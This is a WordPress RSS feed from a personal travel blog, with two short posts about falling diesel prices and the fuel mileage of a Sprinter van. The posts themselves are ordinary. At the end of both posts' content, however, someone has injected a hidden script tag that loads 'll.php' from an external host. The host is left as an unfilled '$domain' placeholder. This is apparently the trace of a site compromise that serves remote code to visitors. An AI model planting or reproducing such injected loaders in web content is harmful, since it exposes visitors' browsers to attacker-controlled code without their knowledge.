<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Our Excellent Adventures &#187; diesel fuel</title>
	<atom:link href="http://www.ourexcellentadventures.com/tag/diesel-fuel/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.ourexcellentadventures.com</link>
	<description></description>
	<lastBuildDate>Sun, 20 Nov 2011 23:41:27 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>The good news</title>
		<link>http://www.ourexcellentadventures.com/2009/03/01/the-good-news/</link>
		<comments>http://www.ourexcellentadventures.com/2009/03/01/the-good-news/#comments</comments>
		<pubDate>Sun, 01 Mar 2009 22:52:49 +0000</pubDate>
		<dc:creator>Keith</dc:creator>
				<category><![CDATA[Just thinking]]></category>
		<category><![CDATA[diesel]]></category>
		<category><![CDATA[diesel fuel]]></category>
		<category><![CDATA[mileage]]></category>

		<guid isPermaLink="false">http://www.ourexcellentadventures.com/?p=1364</guid>
		<description><![CDATA[Seeing diesel prices drop closer to regular gets me warm and fuzzy! Wow! Maybe someday they will be below regular gasoline again. Now I just have to try to stay in the 60-65mpg range to maximize mileage. I should be able to squeeze 20 mpg.]]></description>
			<content:encoded><![CDATA[<div id="attachment_1365" class="wp-caption aligncenter" style="width: 510px"><img class="size-full wp-image-1365" title="prices" src="http://www.ourexcellentadventures.com/wp-content/uploads/2009/03/prices.jpg" alt="Oh yeah! Diesel getting closer to regular." width="500" height="400" /><p class="wp-caption-text">Oh yeah! Diesel getting closer to regular.</p></div>
<p>Seeing diesel prices drop closer to regular gets me warm and fuzzy! Wow! Maybe someday they will be below regular gasoline again.</p>
<p>Now I just have to try to stay in the 60-65mpg range to maximize mileage. I should be able to squeeze 20 mpg.<script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.ourexcellentadventures.com/2009/03/01/the-good-news/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Sprinter mileage</title>
		<link>http://www.ourexcellentadventures.com/2008/05/28/sprinter-mileage/</link>
		<comments>http://www.ourexcellentadventures.com/2008/05/28/sprinter-mileage/#comments</comments>
		<pubDate>Wed, 28 May 2008 23:51:09 +0000</pubDate>
		<dc:creator>Keith</dc:creator>
				<category><![CDATA[Just thinking]]></category>
		<category><![CDATA[diesel fuel]]></category>
		<category><![CDATA[mileage]]></category>

		<guid isPermaLink="false">http://www.ourexcellentadventures.com/?p=267</guid>
		<description><![CDATA[I drove to Fresno today to get a couple of minor things fixed on the SMB Sprinter. I have now filled the tank 3 times so I can give you some mileage figures. By the way, today I paid $5.10 per gallon for diesel and I saw it as high as $5.34 &#8211; if you [...]]]></description>
			<content:encoded><![CDATA[<p>I drove to Fresno today to get a couple of minor things fixed on the SMB Sprinter. I have now filled the tank 3 times so I can give you some mileage figures. By the way, today I paid $5.10 per gallon for diesel and I saw it as high as $5.34 &#8211; if you don&#8217;t think everything that is hauled by truck or train is going up, you better examine the facts again.</p>
<p>City driving with the longest distance being 40 miles . . . speeds from 25mph to 70mph</p>
<ul>
<li>5/12 17.1 mpg</li>
<li>5/22 16.7 mpg</li>
</ul>
<p>Distance driving, 323 miles at 65 mph on cruise control</p>
<ul>
<li>5/28 18.8 mpg</li>
</ul>
<p>The engine just turned 2,000 miles. I hope that it will improve in the next 5,000 miles. Next I have to try 55 and see what happens.</p>
<p> <script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.ourexcellentadventures.com/2008/05/28/sprinter-mileage/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

